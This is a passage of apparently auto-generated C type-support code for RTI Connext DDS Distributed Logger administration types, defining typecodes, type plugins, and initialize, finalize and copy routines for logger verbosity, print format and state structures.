RTI_DL_ADMIN_RTILoggerPrintFormat* sample) { if (sample) {} /* To avoid warnings */ return RTI_TRUE; } void RTI_DL_ADMIN_RTILoggerPrintFormat_finalize( RTI_DL_ADMIN_RTILoggerPrintFormat* sample) { if (sample==NULL) { return; } } void RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_ex( RTI_DL_ADMIN_RTILoggerPrintFormat* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_w_params( RTI_DL_ADMIN_RTILoggerPrintFormat* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } } void RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_optional_members( RTI_DL_ADMIN_RTILoggerPrintFormat* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerPrintFormat_copy( RTI_DL_ADMIN_RTILoggerPrintFormat* dst, const RTI_DL_ADMIN_RTILoggerPrintFormat* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } return RTICdrType_copyEnum((RTICdrEnum *)dst, (RTICdrEnum *)src); } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_RTILoggerPrintFormat' sequence class. */ #define T RTI_DL_ADMIN_RTILoggerPrintFormat #define TSeq RTI_DL_ADMIN_RTILoggerPrintFormatSeq #define T_initialize_w_params RTI_DL_ADMIN_RTILoggerPrintFormat_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_w_params #define T_copy RTI_DL_ADMIN_RTILoggerPrintFormat_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_RTILoggerCategoryAndVerbosityTYPENAME = "RTI::DL::ADMIN::RTILoggerCategoryAndVerbosity"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc_members[2]= { { (char *)"category",/* Member name */ { 0,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"verbosity",/* Member name */ { 1,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc = {{ DDS_TK_STRUCT, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::RTILoggerCategoryAndVerbosity", /* Name */ NULL, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 2, /* Number of members */ RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc_members, /* Members */ DDS_VM_NONE, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity*/ if (is_initialized) { return &RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc; } RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc._data._annotations._allowedDataRepresentationMask = 5; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc_members[0]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_RTILoggerCategory_get_typecode(); RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc_members[1]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_RTILoggerVerbosity_get_typecode(); /* Initialize the values for member annotations. */ RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc_members[0]._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc_members[0]._annotations._defaultValue._u.enumerated_value = 0; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc_members[1]._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc_members[1]._annotations._defaultValue._u.enumerated_value = 0; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_get_sample_access_info(); RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc._data._typePlugin = RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_memberAccessInfos[2] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_sampleAccessInfo; } RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_memberAccessInfos[0].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity *)NULL)->category); RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_memberAccessInfos[1].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity *)NULL)->verbosity); RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_w_return, NULL }; return &RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_initialize( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* sample) { return RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_initialize_ex(sample,RTI_TRUE,RTI_TRUE); } RTIBool RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_initialize_ex( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_initialize_w_params( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } sample->category = RTI_DL_NDDS_CONFIG_LOG_CATEGORY_PLATFORM; sample->verbosity = RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_SILENT; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_w_return( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* sample) { RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_ex(sample, RTI_TRUE); return RTI_TRUE; } void RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* sample) { RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_ex(sample,RTI_TRUE); } void RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_ex( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_w_params( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } RTI_DL_ADMIN_RTILoggerCategory_finalize_w_params(&sample->category,deallocParams); RTI_DL_ADMIN_RTILoggerVerbosity_finalize_w_params(&sample->verbosity,deallocParams); } void RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_optional_members( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; RTI_DL_ADMIN_RTILoggerCategory_finalize_optional_members(&sample->category, deallocParams->delete_pointers); RTI_DL_ADMIN_RTILoggerVerbosity_finalize_optional_members(&sample->verbosity, deallocParams->delete_pointers); } RTIBool RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_copy( RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* dst, const RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } if (!RTI_DL_ADMIN_RTILoggerCategory_copy( &dst->category,(const RTI_DL_ADMIN_RTILoggerCategory*)&src->category)) { return RTI_FALSE; } if (!RTI_DL_ADMIN_RTILoggerVerbosity_copy( &dst->verbosity,(const RTI_DL_ADMIN_RTILoggerVerbosity*)&src->verbosity)) { return RTI_FALSE; } return RTI_TRUE; } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity' sequence class. */ #define T RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity #define TSeq RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq #define T_initialize_w_params RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_w_params #define T_copy RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_StateKindTYPENAME = "RTI::DL::ADMIN::StateKind"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_StateKind_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_ADMIN_StateKind_g_tc_members[4]= { { (char *)"RTI_DL_STATE_INITIALIZING",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_STATE_INITIALIZING, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_STATE_OPERATIONAL",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_STATE_OPERATIONAL, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_STATE_NONOPERATIONAL",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_STATE_NONOPERATIONAL, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_STATE_SHUTTING_DOWN",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_STATE_SHUTTING_DOWN, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_StateKind_g_tc = {{ DDS_TK_ENUM, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::StateKind", /* Name */ NULL, /* Base class type code is assigned later */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 4, /* Number of members */ RTI_DL_ADMIN_StateKind_g_tc_members, /* Members */ DDS_VM_NONE, /* Type Modifier */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_StateKind*/ if (is_initialized) { return &RTI_DL_ADMIN_StateKind_g_tc; } RTI_DL_ADMIN_StateKind_g_tc._data._annotations._allowedDataRepresentationMask = 5; /* Initialize the values for annotations. */ RTI_DL_ADMIN_StateKind_g_tc._data._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_StateKind_g_tc._data._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_StateKind_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_StateKind_get_sample_access_info(); RTI_DL_ADMIN_StateKind_g_tc._data._typePlugin = RTI_DL_ADMIN_StateKind_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_StateKind_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_StateKind_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_StateKind_g_memberAccessInfos[1] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_StateKind_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_StateKind_g_sampleAccessInfo; } RTI_DL_ADMIN_StateKind_g_memberAccessInfos[0].bindingMemberValueOffset[0] = 0; RTI_DL_ADMIN_StateKind_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_StateKind_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_StateKind); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_StateKind_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_StateKind_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_StateKind_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_StateKind_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_StateKind_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_StateKind_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_StateKind_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_StateKind_finalize_w_return, NULL }; return &RTI_DL_ADMIN_StateKind_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_StateKind_initialize( RTI_DL_ADMIN_StateKind* sample) { *sample = RTI_DL_STATE_INITIALIZING; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_StateKind_initialize_ex( RTI_DL_ADMIN_StateKind* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_StateKind_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_StateKind_initialize_w_params( RTI_DL_ADMIN_StateKind* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } *sample = RTI_DL_STATE_INITIALIZING; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_StateKind_finalize_w_return( RTI_DL_ADMIN_StateKind* sample) { if (sample) {} /* To avoid warnings */ return RTI_TRUE; } void RTI_DL_ADMIN_StateKind_finalize( RTI_DL_ADMIN_StateKind* sample) { if (sample==NULL) { return; } } void RTI_DL_ADMIN_StateKind_finalize_ex( RTI_DL_ADMIN_StateKind* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_StateKind_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_StateKind_finalize_w_params( RTI_DL_ADMIN_StateKind* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } } void RTI_DL_ADMIN_StateKind_finalize_optional_members( RTI_DL_ADMIN_StateKind* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; } RTIBool RTI_DL_ADMIN_StateKind_copy( RTI_DL_ADMIN_StateKind* dst, const RTI_DL_ADMIN_StateKind* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } return RTICdrType_copyEnum((RTICdrEnum *)dst, (RTICdrEnum *)src); } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_StateKind' sequence class. */ #define T RTI_DL_ADMIN_StateKind #define TSeq RTI_DL_ADMIN_StateKindSeq #define T_initialize_w_params RTI_DL_ADMIN_StateKind_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_StateKind_finalize_w_params #define T_copy RTI_DL_ADMIN_StateKind_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_StateTYPENAME = "RTI::DL::ADMIN::State"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_State_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode RTI_DL_ADMIN_State_g_tc_applicationKind_string = DDS_INITIALIZE_STRING_TYPECODE(((RTI_DL_ADMIN_MAX_APPLICATION_KIND_LENGTH))); static DDS_TypeCode RTI_DL_ADMIN_State_g_tc_rtiLoggerVerbosities_array =DDS_INITIALIZE_ARRAY_TYPECODE(1,5, NULL,NULL); static DDS_TypeCode_Member RTI_DL_ADMIN_State_g_tc_members[7]= { { (char *)"hostAndAppId",/* Member name */ { 0,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_KEY_MEMBER , /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"administrationDomainId",/* Member name */ { 1,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"state",/* Member name */ { 2,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"applicationKind",/* Member name */ { 3,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"filterLevel",/* Member name */ { 4,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"rtiLoggerVerbosities",/* Member name */ { 5,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"rtiLoggerPrintFormat",/* Member name */ { 6,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_State_g_tc = {{ DDS_TK_STRUCT| DDS_TK_MUTABLE_EXTENSIBILITY, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::State", /* Name */ NULL, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 7, /* Number of members */ RTI_DL_ADMIN_State_g_tc_members, /* Members */ DDS_VM_NONE, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_State*/ if (is_initialized) { return &RTI_DL_ADMIN_State_g_tc; } RTI_DL_ADMIN_State_g_tc._data._annotations._allowedDataRepresentationMask = 5; RTI_DL_ADMIN_State_g_tc_rtiLoggerVerbosities_array._data._typeCode =(RTICdrTypeCode *)RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_get_typecode(); RTI_DL_ADMIN_State_g_tc_members[0]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_HostAndAppId_get_typecode(); RTI_DL_ADMIN_State_g_tc_members[1]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_long; RTI_DL_ADMIN_State_g_tc_members[2]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_StateKind_get_typecode(); RTI_DL_ADMIN_State_g_tc_members[3]._representation._typeCode = (RTICdrTypeCode *)&RTI_DL_ADMIN_State_g_tc_applicationKind_string; RTI_DL_ADMIN_State_g_tc_members[4]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_long; RTI_DL_ADMIN_State_g_tc_members[5]._representation._typeCode = (RTICdrTypeCode *)& RTI_DL_ADMIN_State_g_tc_rtiLoggerVerbosities_array; RTI_DL_ADMIN_State_g_tc_members[6]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_RTILoggerPrintFormat_get_typecode(); /* Initialize the values for member annotations. */ RTI_DL_ADMIN_State_g_tc_members[1]._annotations._defaultValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_State_g_tc_members[1]._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_State_g_tc_members[1]._annotations._minValue._d = 